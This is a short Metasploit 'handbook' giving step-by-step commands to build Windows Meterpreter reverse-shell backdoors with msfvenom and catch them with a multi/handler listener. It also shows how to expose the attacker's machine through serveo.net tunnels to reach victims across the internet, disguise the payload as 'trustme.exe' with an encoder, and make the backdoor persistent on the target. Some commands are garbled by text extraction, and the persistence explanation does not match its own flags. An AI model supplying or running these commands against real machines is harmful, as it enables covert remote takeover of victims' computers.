Metasploit Handbook

CREATING PAYLOAD

```
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.107
lport=5555 -f exe > / root/Desktop/reverse tcp.exe
```

LHOST=Listening Host

If victim is on same network use **ipconfig** (for Windows) or **ifconfig** (for Linux) to find out your local IP. Usual format is 192.168.x.x

Windows-

```
Wireless LAN adapter Wi-Fi:

Connection-specific DNS Suffix .: domain.name
Link-local IPv6 Address . . . : fe80::1c84:19fb:7af3:6284%13
IPv4 Address . . . . : 192.168.0.6
Subnet Mask . . . . . : 255.255.255.0
Default Gateway . . . : fe80::56b8:aff:fe9d:1f2b%13
192.168.0.1
```

Linux-

LPORT=Listening Port

Any value ranging from 0 to 65535. For TCP connection port 0 is reserved and cannot be used. Port 443 is used for HTTPS connection and can be used for *reverse_https* payload.

IMPORANT PARAMETERS

| -p | Specifies the payload to use | -p windows/meterpreter/reverse_https |
|----|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------|
| -f | Specifies the output format of the payload | -f apk |
| -e | Specifies the encoder to use | -e x86/shikata_ga_nai |
| -b | Bad characters to avoid (Use when using encoders) | <pre>./msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw</pre> |
| | The -b flag is meant to be used to avoid certain characters in the payload. When this option is used, msfvenom will automatically find a suitable encoder to encode the payload. | |

CONNECTING TO THE BACKDOOR

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.107
msf exploit(handler) > set lport 5555
msf exploit(handler) > exploit
```

A successful execution will give us Meterpreter shell.

The listener MUST be running BEFORE the execution of the backdoor in target computer.

To list all the sessions-

```
meterpreter > sessions -1
```

If multiple sessions are running and we want to connect to a specific session-

```
meterpreter > sessions -i 1
```

1 is the ID of the session acquired from sessions list.

ATTACK OVER WAN

If the victim is not on same network, we can use NGROK or SERVEO to expose our computer to internet in order to let the backdoor to connect to our computer. As NGROK requires premium account we'll be using SERVEO.

> reverse tcp

Start the tunnel

ssh -R 1492:localhost:1492 serveo.net

Generate the payload

msfvenom --arch x86 --platform windows --payload windows/meterpreter/reverse_tcp LHOST=serveo.net LPORT=1492 --bad-chars "\x00" --encoder x86/shikata qa nai --format exe --out \$PWD/trustme.exe

Listen for incoming connections

msfconsole -x "use exploit/multi/handler;set payload
windows/meterpreter/reverse tcp;set LHOST 0.0.0.0;set LPORT 1492;run;"

reverse https

Start the tunnel

Used autossh for persistant ssh session (reconnects when it breaks)

autossh -R trustme:443:localhost:443 serveo.net

Generate the payload

msfvenom --arch x86 --platform windows --payload
windows/meterpreter/reverse_https LHOST=trustme.serveo.net LPORT=443 --badchars "\x00" --encoder x86/shikata_ga_nai --format exe --out
\$PWD/trustme.exe

Listen for incoming connections

msfconsole -x "use exploit/multi/handler;set payload
windows/meterpreter/reverse https;set LHOST 0.0.0.0;set LPORT 443;run;"

Start the tunnel

Used autossh for persistant ssh session (reconnects when it breaks)

autossh -R trustme:80:localhost:80 serveo.net

Generate the payload

msfvenom --arch x86 --platform windows --payload
windows/meterpreter/reverse_http LHOST=trustme.serveo.net LPORT=80 --badchars "\x00" --encoder x86/shikata_ga_nai --format exe --out
\$PWD/trustme.exe

Listen for incoming connections

msfconsole -x "use exploit/multi/handler;set payload
windows/meterpreter/reverse http;set LHOST 0.0.0.0;set LPORT 80;run;"

MAKING THE BACKDOOR PERSISTENT

meterpreter >run persistence -A -L c:\\ -X 30 -p 443 -r 192.168.1.113

This command will run the persistence script that will start a matching handler (-A), place the Meterpreter at c:\\ on the target system (-L c:\\), starts the listener when the system boots (-x), checks every 30 seconds for a connection (-i 30), connects on port 443 (-p 443), and connects to the local system (ours) on IP address 192.168.1.113.

